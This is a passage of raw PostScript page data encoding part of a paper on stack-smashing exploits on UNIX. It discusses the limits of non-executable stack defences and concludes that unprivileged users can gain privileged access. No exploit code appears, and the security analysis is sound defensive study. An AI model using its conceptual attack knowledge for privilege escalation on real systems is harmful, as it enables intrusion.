0.200 0 (l)A (o)S -0.200 0 (w)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1035 M -0.069 0 (in signal handlers would still be possible using this temporarily executable stack.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 1212 M -0.700 0 (B)A 10.000 0 32 -3.000 0 (y )D -0.400 0 (c)A (h)S -0.400 0 (a)A (n)S -1.000 0 (g)A 0.200 0 (i)A (n)S 8.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 7.400 0 32 -0.400 0 (e )D (k)S -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 7.800 0 32 0.200 0 (l )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 8.000 0 32 (k )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (ti)A 8.000 0 32 (on p)W -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (mi)A 0.100 0 (ss)A 0.200 0 (i)A (on)S 0.100 0 (s)A 8.000 0 32 (, )W 7.800 0 32 0.200 0 (it )D -0.200 0 (w)A (ou)S 0.200 0 (l)A 8.000 0 32 (d )W 0.100 0 (s)A 0.200 0 (t)A 8.000 0 32 (op )W 0.200 0 (m)A (o)S 0.100 0 (s)A 7.800 0 32 0.200 0 (t )D 0.400 0 (S)A -0.200 0 (U)A -2.300 0 (I)A 8.200 0 32 -0.200 0 (D )D (bu)S -0.300 0 (ff)A -0.400 0 (e)A -0.300 0 (r)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1389 M (ov)S -0.400 0 (e)A -0.300 0 (rf)A 0.200 0 (l)A (o)S -0.200 0 (w)A 0.100 0 (s)A 6.000 0 32 (, )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (c)A 0.200 0 (l)A (ud)S 0.200 0 (i)A (n)S 8.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (ho)S 0.100 0 (s)A 7.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (nvo)S 0.200 0 (l)A (v)S 0.200 0 (i)A (n)S 8.000 0 32 -1.000 0 (g )D 0.100 0 (s)A 0.200 0 (i)A -1.000 0 (g)A (n)S -0.400 0 (a)A 6.800 0 32 0.200 0 (l )D (h)S -0.400 0 (a)A (nd)S 0.200 0 (l)A -0.400 0 (e)A -0.300 0 (r)A 0.100 0 (s)A 7.000 0 32 (. )W 7.200 0 32 -0.200 0 (A )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 6.800 0 32 0.200 0 (m )D -0.200 0 (w)A 0.200 0 (it)A 7.000 0 32 (h )W 7.400 0 32 -0.400 0 (a )D (non)S -0.300 0 (-)A -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (l)A 7.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A (k)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1566 M -0.400 0 (a)A 0.200 0 (l)A 0.100 0 (s)A 6.000 0 32 (o h)W 0.200 0 (i)A (nd)S -0.400 0 (e)A -0.300 0 (r)A 5.900 0 32 0.100 0 (s )D -2.100 0 (L)A -2.300 0 (I)A 5.600 0 32 0.400 0 (SP )D -0.400 0 (a)A 6.000 0 32 (nd )W -0.200 0 (O)A (b)S 0.200 0 (j)A -0.400 0 (ec)A 0.200 0 (ti)A (v)S 6.400 0 32 -0.400 0 (e )D 5.700 0 32 0.300 0 (C )D (d)S -0.400 0 (e)A (v)S -0.400 0 (e)A 0.200 0 (l)A (op)S 0.200 0 (m)A -0.400 0 (e)A (n)S 5.800 0 32 0.200 0 (t )D -0.400 0 (e)A -0.300 0 (ff)A (o)S -0.300 0 (r)A 0.200 0 (t)A 5.900 0 32 0.100 0 (s )D -0.400 0 (a)A 5.900 0 32 0.100 0 (s )D -0.200 0 (w)A -0.400 0 (e)A 5.800 0 32 0.200 0 (ll )D -0.400 0 (a)A 5.900 0 32 0.100 0 (s )D (o)S 0.200 0 (t)A (h)S -0.400 0 (e)A 6.300 0 32 -0.300 0 (r f)D (un)S -0.400 0 (c)A 0.200 0 (ti)A (on)S -0.400 0 (a)A 5.800 0 32 0.200 0 (l l)D -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1743 M 0.200 0 (mi)A -1.000 0 (g)A (h)S 2.800 0 32 0.200 0 (t )D -0.400 0 (a)A 0.200 0 (l)A 0.100 0 (s)A 3.000 0 32 (o b)W 3.400 0 32 -0.400 0 (e a)D -0.300 0 (ff)A -0.400 0 (ec)A 0.200 0 (t)A -0.400 0 (e)A 3.000 0 32 (d. )W -0.600 0 (F)A (u)S -0.300 0 (r)A 0.200 0 (t)A (h)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (m)A (o)S -0.300 0 (r)A -0.400 0 (e)A 3.000 0 32 (, )W -0.400 0 (e)A (v)S -0.400 0 (e)A -0.300 0 (r)A 6.000 0 32 -3.000 0 (y )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 2.800 0 32 0.200 0 (m )D -0.400 0 (c)A (on)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (i)A (n)S 2.900 0 32 0.100 0 (s )D -0.400 0 (c)A (od)S 4.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S -0.400 0 (a)A 3.800 0 32 0.200 0 (t )D (p)S -0.400 0 (e)A -0.300 0 (rf)A (o)S -0.300 0 (r)A 0.200 0 (m)A 3.900 0 32 0.100 0 (s )D -0.300 0 (f)A (und)S -0.400 0 (a)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (l)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1920 M (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (on)S 3.900 0 32 0.100 0 (s s)D (u)S -0.400 0 (c)A 4.000 0 32 (h )W -0.400 0 (a)A 3.900 0 32 0.100 0 (s s)D -0.400 0 (a)A (v)S 0.200 0 (i)A (n)S 5.000 0 32 -1.000 0 (g )D -0.400 0 (a)A 4.000 0 32 (nd )W -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (t)A (o)S -0.300 0 (r)A 0.200 0 (i)A (n)S 5.000 0 32 -1.000 0 (g )D (v)S -0.400 0 (a)A 0.200 0 (l)A (u)S -0.400 0 (e)A 3.900 0 32 0.100 0 (s )D -0.300 0 (fr)A (o)S 3.800 0 32 0.200 0 (m )D 0.300 0 (C)A 0.400 0 (P)A 4.200 0 32 -0.200 0 (U )D -0.300 0 (r)A -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 0.100 0 (s)A 4.000 0 32 (, p)W -0.400 0 (e)A -0.300 0 (rf)A (o)S -0.300 0 (r)A 0.200 0 (m)A 4.900 0 32 0.100 0 (s s)D -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 4.800 0 32 0.200 0 (m )D -0.400 0 (ca)A 0.200 0 (ll)A 0.100 0 (s)A 5.000 0 32 (. )W -2.300 0 (I)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2097 M -0.400 0 (c)A (on)S 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (a)A 0.100 0 (s)A 6.800 0 32 0.200 0 (t t)D 7.000 0 32 (o )W 0.200 0 (t)A (h)S 7.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (o)S -0.300 0 (r)A 0.200 0 (m)A (u)S 0.200 0 (l)A -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (e)A 7.000 0 32 (d )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 7.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 8.000 0 32 -1.000 0 (g )D -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (it)A 6.900 0 32 0.100 0 (s )D -0.400 0 (a)A (v)S -0.400 0 (a)A 0.200 0 (il)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A 7.000 0 32 (, )W -0.400 0 (a)A 8.000 0 32 (n )W -0.400 0 (a)A 0.200 0 (tt)A -0.400 0 (ac)A 8.000 0 32 (k )W 0.100 0 (s)A (u)S -0.400 0 (c)A 8.000 0 32 (h )W -0.400 0 (a)A 7.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 0.200 0 (i)A 7.900 0 32 0.100 0 (s )D -0.200 0 (w)A (ou)S 0.200 0 (l)A 8.000 0 32 (d b)W -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2274 M 0.200 0 (im)A (po)S 0.100 0 (ss)A 0.200 0 (i)A (b)S 0.200 0 (l)A 0.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (o p)S -0.300 0 (r)A -0.400 0 (e)A (v)S -0.400 0 (e)A (n)S -0.200 0 32 0.200 0 (t )D (b)S 3.000 0 32 -3.000 0 (y )D -0.400 0 (c)A (h)S -0.400 0 (a)A (n)S -1.000 0 (g)A 0.200 0 (i)A (n)S 1.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 0.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A (k )S -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (ti)A (on p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A (. )S -2.300 0 (I)A 1.000 0 32 (n o)W 0.200 0 (t)A (h)S -0.400 0 (e)A 1.300 0 32 -0.300 0 (r )D -0.200 0 (w)A (o)S -0.300 0 (r)A (d)S 0.100 0 (s)A 1.000 0 32 (, )W -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (m)A (ov)S 0.200 0 (i)A (n)S 2.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2451 M 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 26.000 0 32 (k )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (ti)A 26.000 0 32 (on p)W -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (mi)A 0.100 0 (ss)A 0.200 0 (i)A 26.000 0 32 (on on)W 0.200 0 (l)A 30.000 0 32 -3.000 0 (y )D (p)S -0.300 0 (r)A -0.400 0 (e)A (v)S -0.400 0 (e)A (n)S 0.200 0 (t)A 26.900 0 32 0.100 0 (s )D 0.200 0 (t)A (od)S -0.400 0 (a)A -3.000 0 (y)A -0.300 0 (\222)A 26.900 0 32 0.100 0 (s s)D 0.200 0 (t)A -0.400 0 (ac)A 27.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 28.000 0 32 -1.000 0 (g )D -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (it)A 26.900 0 32 0.100 0 (s )D -0.300 0 (fr)A (o)S 26.800 0 32 0.200 0 (m )D -0.200 0 (w)A (o)S -0.300 0 (r)A (k)S 0.200 0 (i)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2628 M (p)S -0.300 0 (r)A (op)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (l)A -3.000 0 (y)A 7.000 0 32 (. )W -0.200 0 (A)A 6.900 0 32 0.100 0 (s )D -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (it)A 6.900 0 32 0.100 0 (s )D (b)S -0.400 0 (ec)A (o)S 0.200 0 (m)A 7.400 0 32 -0.400 0 (e )D 0.200 0 (m)A (o)S -0.300 0 (r)A 7.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (oph)S 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (ti)A -0.400 0 (ca)A 0.200 0 (t)A -0.400 0 (e)A 7.000 0 32 (d, )W -0.300 0 (\()A 0.100 0 (s)A 7.400 0 32 -0.400 0 (ee )D 0.100 0 (s)A -0.400 0 (ec)A 0.200 0 (ti)A 7.000 0 32 (on 9.1)W 8.300 0 32 -0.300 0 (\) )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 8.000 0 32 (k )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (ti)A 8.000 0 32 (on b)W 0.200 0 (it)A 7.900 0 32 0.100 0 (s )D 0.200 0 (m)A -0.400 0 (a)A -3.000 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2805 M (h)S -0.400 0 (a)A (v)S 4.400 0 32 -0.400 0 (e )D 0.200 0 (littl)A 4.400 0 32 -0.400 0 (e )D (o)S 4.300 0 32 -0.300 0 (r )D 4.000 0 32 (no )W -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (l)A -0.400 0 (e)A (v)S -0.400 0 (a)A (n)S 4.400 0 32 -0.400 0 (ce )D 0.200 0 (i)A 4.000 0 32 (n )W 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (m)A 4.900 0 32 0.100 0 (s )D (o)S 5.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 5.400 0 32 -0.400 0 (e e)D 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (it)A 5.000 0 32 (. )W -0.200 0 (A)A 4.900 0 32 0.100 0 (s )D -0.400 0 (a)A 5.000 0 32 (n )W -0.400 0 (a)A 0.100 0 (s)A 0.200 0 (i)A (d)S -0.400 0 (e)A 5.000 0 32 (, )W 0.200 0 (t)A (h)S 0.200 0 (i)A 4.900 0 32 0.100 0 (s )D 0.200 0 (t)A -3.000 0 (y)A (p)S 5.400 0 32 -0.400 0 (e )D (o)S 5.300 0 32 -0.300 0 (f )D (p)S -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (c)A 5.000 0 32 (h )W -0.400 0 (ca)A 5.000 0 32 (n )W -0.400 0 (a)A 0.200 0 (l)A 0.100 0 (s)A 5.000 0 32 (o b)W -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2982 M 0.200 0 (im)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (e)A 2.000 0 32 (d )W 0.200 0 (i)A 2.000 0 32 (n )W 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 1.800 0 32 0.200 0 (m )D 0.300 0 (C)A 0.400 0 (P)A 2.200 0 32 -0.200 0 (U )D (h)S -0.400 0 (a)A -0.300 0 (r)A (d)S -0.200 0 (w)A -0.400 0 (a)A -0.300 0 (r)A -0.400 0 (e)A 2.000 0 32 (. )W -0.200 0 (N)A -0.400 0 (e)A 2.200 0 32 -0.200 0 (w )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 2.800 0 32 0.200 0 (m )D -0.400 0 (a)A -0.300 0 (r)A -0.400 0 (c)A (h)S 0.200 0 (it)A -0.400 0 (ec)A 0.200 0 (t)A (u)S -0.300 0 (r)A -0.400 0 (e)A 2.900 0 32 0.100 0 (s )D -0.400 0 (c)A (ou)S 0.200 0 (l)A 3.000 0 32 (d )W 0.100 0 (s)A 0.200 0 (im)A (p)S 0.200 0 (l)A 6.000 0 32 -3.000 0 (y )D (h)S -0.400 0 (a)A (v)S 3.400 0 32 -0.400 0 (e )D 0.200 0 (m)A (u)S 0.200 0 (lti)A (p)S 0.200 0 (l)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3159 M -0.107 0 (stacks: one for call frames, and one for automatic storage.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 3336 M -2.300 0 (I)A 1.000 0 32 (n )W -0.400 0 (c)A (on)S -0.400 0 (c)A 0.200 0 (l)A (u)S 0.100 0 (s)A 0.200 0 (i)A 1.000 0 32 (on, b)W 4.000 0 32 -3.000 0 (y )D -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (m)A (ov)S 0.200 0 (i)A (n)S 2.000 0 32 -1.000 0 (g )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 1.000 0 32 (k )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (ti)A 1.000 0 32 (on )W -0.300 0 (fr)A (o)S 0.800 0 32 0.200 0 (m t)D (h)S 1.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 1.800 0 32 0.200 0 (m )D (k)S -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 0.200 0 (l)A 2.000 0 32 (, on)W 2.400 0 32 -0.400 0 (e ca)D 2.000 0 32 (n )W -0.400 0 (a)A 0.200 0 (tt)A -0.400 0 (e)A 0.200 0 (m)A (p)S 1.800 0 32 0.200 0 (t t)D (o)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3513 M 0.100 0 (s)A 0.200 0 (t)A 40.000 0 32 (op )W 0.200 0 (t)A (h)S 40.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 40.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 41.000 0 32 -1.000 0 (g )D (p)S -0.300 0 (r)A (ob)S 0.200 0 (l)A -0.400 0 (e)A 39.800 0 32 0.200 0 (m )D -0.400 0 (a)A 39.800 0 32 0.200 0 (t t)D (h)S 40.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (ou)S -0.300 0 (r)A -0.400 0 (ce)A 40.000 0 32 (. )W -0.200 0 (H)A (o)S -0.200 0 (w)A -0.400 0 (e)A (v)S -0.400 0 (e)A -0.300 0 (r)A 40.000 0 32 (, )W 0.200 0 (t)A (h)S 0.200 0 (i)A 40.900 0 32 0.100 0 (s )D -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 41.000 0 32 (h )W 0.100 0 (s)A (u)S -0.300 0 (ff)A -0.400 0 (e)A -0.300 0 (r)A 40.900 0 32 0.100 0 (s )D 0.200 0 (i)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3690 M 0.200 0 (im)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A 8.000 0 32 (on b)W -0.400 0 (eca)A (u)S 0.100 0 (s)A 8.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e )D (n)S -0.400 0 (ece)A 0.100 0 (ss)A -0.400 0 (a)A -0.300 0 (r)A 11.000 0 32 -3.000 0 (y )D -0.400 0 (c)A (od)S 8.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 7.900 0 32 0.100 0 (s )D (non)S -0.300 0 (-)A (po)S -0.300 0 (r)A 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A 8.000 0 32 (, )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A (nd)S -0.400 0 (a)A -0.300 0 (r)A 8.000 0 32 (d )W -0.400 0 (c)A (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A 9.300 0 32 -0.300 0 (r f)D (un)S -0.400 0 (c)A 0.200 0 (ti)A (on)S 8.900 0 32 0.100 0 (s )D -0.400 0 (a)A (nd)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3867 M (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 5.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 3.800 0 32 0.200 0 (m )D 0.100 0 (s)A 0.200 0 (i)A -1.000 0 (g)A (n)S -0.400 0 (a)A 3.800 0 32 0.200 0 (l )D (h)S -0.400 0 (a)A (nd)S 0.200 0 (li)A (n)S 5.000 0 32 -1.000 0 (g )D (b)S -0.400 0 (e)A (h)S -0.400 0 (a)A (v)S 0.200 0 (i)A (o)S 4.300 0 32 -0.300 0 (r )D 0.200 0 (i)A 3.900 0 32 0.100 0 (s )D 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (e)A 4.000 0 32 (d )W -0.400 0 (a)A 4.000 0 32 (nd )W 0.200 0 (m)A -0.400 0 (a)A 7.000 0 32 -3.000 0 (y )D (b)S 5.400 0 32 -0.400 0 (e )D (unp)S -0.300 0 (r)A -0.400 0 (e)A (d)S 0.200 0 (i)A -0.400 0 (c)A 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A 5.000 0 32 (. )W -2.300 0 (I)A 5.000 0 32 (n )W -0.400 0 (a)A (dd)S 0.200 0 (iti)A (on)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4044 M 0.200 0 (t)A 28.000 0 32 (o )W 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 28.400 0 32 -0.400 0 (e )D (po)S 0.200 0 (i)A (n)S 0.200 0 (t)A 0.100 0 (s)A 28.000 0 32 (, )W 0.200 0 (t)A (h)S 0.200 0 (i)A 27.900 0 32 0.100 0 (s )D -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 28.000 0 32 (h )W 0.200 0 (i)A 27.900 0 32 0.100 0 (s )D (no)S 27.800 0 32 0.200 0 (t )D (p)S -0.300 0 (r)A (ov)S -0.400 0 (e)A 28.000 0 32 (n )W 0.200 0 (t)A 28.000 0 32 (o )W 0.100 0 (s)A 0.200 0 (t)A 28.000 0 32 (op )W 0.200 0 (m)A (o)S -0.300 0 (r)A 28.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (oph)S 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (ti)A -0.400 0 (ca)A 0.200 0 (t)A -0.400 0 (e)A 29.000 0 32 (d )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 29.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4221 M 0.144 0 (exploits.)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_150) cvn F2 150 xF F2_150 Ji 612 4400 M 0.140 0 (12. Conclusion)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 4662 M 0.400 0 (S)A 0.200 0 (t)A -0.400 0 (ac)A 6.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 7.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A 9.000 0 32 -3.000 0 (y )D -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (it)A 5.900 0 32 0.100 0 (s )D (h)S -0.400 0 (a)A (v)S 6.400 0 32 -0.400 0 (e )D (b)S -0.400 0 (ec)A (o)S 0.200 0 (m)A 6.400 0 32 -0.400 0 (e c)D (o)S 0.200 0 (mm)A (onp)S 0.200 0 (l)A 6.400 0 32 -0.400 0 (ace )D 6.000 0 32 (on )W -0.200 0 (UN)A -2.300 0 (I)A 6.200 0 32 -0.200 0 (X )D 0.200 0 (m)A -0.400 0 (ac)A (h)S 0.200 0 (i)A (n)S -0.400 0 (e)A 5.900 0 32 0.100 0 (s )D -0.400 0 (a)A 5.900 0 32 0.100 0 (s )D -0.400 0 (a)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4839 M 0.200 0 (m)A -0.400 0 (ea)A (n)S 32.900 0 32 0.100 0 (s )D 0.200 0 (t)A 33.000 0 32 (o )W -1.000 0 (g)A -0.400 0 (a)A 0.200 0 (i)A 33.000 0 32 (n )W -0.400 0 (acce)A 32.900 0 32 0.100 0 (ss )D 0.200 0 (t)A 33.000 0 32 (o p)W -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 33.000 0 32 (d )W -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A (ou)S -0.300 0 (r)A -0.400 0 (ce)A 0.100 0 (s)A 33.000 0 32 (. )W 34.000 0 32 ( )W -0.700 0 (B)A 37.000 0 32 -3.000 0 (y )D -0.400 0 (c)A (o)S 0.200 0 (m)A (b)S 0.200 0 (i)A (n)S 0.200 0 (i)A (n)S 35.000 0 32 -1.000 0 (g )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A (nd)S -0.400 0 (a)A -0.300 0 (r)A 34.000 0 32 (d op)W -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (on)S 33.900 0 32 0.100 0 (s )D -0.400 0 (a)A (nd)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5016 M -0.400 0 (c)A (ond)S 0.200 0 (iti)A (on)S 6.900 0 32 0.100 0 (s )D (o)S 7.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 7.400 0 32 -0.400 0 (e )D -0.200 0 (UN)A -2.300 0 (I)A 7.200 0 32 -0.200 0 (X )D -0.400 0 (a)A 7.000 0 32 (nd )W 6.700 0 32 0.300 0 (C )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 8.000 0 32 -1.000 0 (g )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A 7.000 0 32 (, b)W -0.400 0 (a)A 0.100 0 (s)A -0.400 0 (e)A 7.000 0 32 (d on )W 0.200 0 (t)A (h)S 0.200 0 (i)A 6.900 0 32 0.100 0 (s s)D 0.200 0 (t)A (ud)S -3.000 0 (y)A 7.000 0 32 (, on)W 8.400 0 32 -0.400 0 (e ca)D 8.000 0 32 (n )W 0.100 0 (s)A 8.400 0 32 -0.400 0 (ee )D (ho)S -0.200 0 (w)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5193 M -0.400 0 (a)A 1.000 0 32 (n unp)W -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 1.000 0 32 (d u)W 0.100 0 (s)A -0.400 0 (e)A 1.300 0 32 -0.300 0 (r )D -0.400 0 (ca)A 1.000 0 32 (n ob)W 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (i)A 1.000 0 32 (n p)W -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 1.000 0 32 (d u)W 0.100 0 (s)A -0.400 0 (e)A 1.300 0 32 -0.300 0 (r )D (p)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (mi)A 0.100 0 (ss)A 0.200 0 (i)A (on)S 0.100 0 (s)A 2.000 0 32 (. )W -0.600 0 (F)A (u)S -0.300 0 (r)A 0.200 0 (t)A (h)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (m)A (o)S -0.300 0 (r)A -0.400 0 (e)A 2.000 0 32 (, )W -0.200 0 (w)A 0.200 0 (it)A 2.000 0 32 (h )W 0.200 0 (t)A (h)S 2.400 0 32 -0.400 0 (e )D (nu)S 0.200 0 (m)A (b)S -0.400 0 (e)A 2.300 0 32 -0.300 0 (r )D (o)S -0.300 0 (f)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5370 M (p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 5.000 0 32 (d p)W -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 4.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S -0.400 0 (a)A 4.800 0 32 0.200 0 (t )D -0.400 0 (e)A 1.000 0 (x)A 0.200 0 (i)A 0.100 0 (s)A 4.800 0 32 0.200 0 (t i)D 5.000 0 32 (n )W 0.200 0 (t)A (od)S -0.400 0 (a)A -3.000 0 (y)A -0.300 0 (\222)A 4.900 0 32 0.100 0 (s s)D 0.200 0 (t)A -0.400 0 (a)A (nd)S 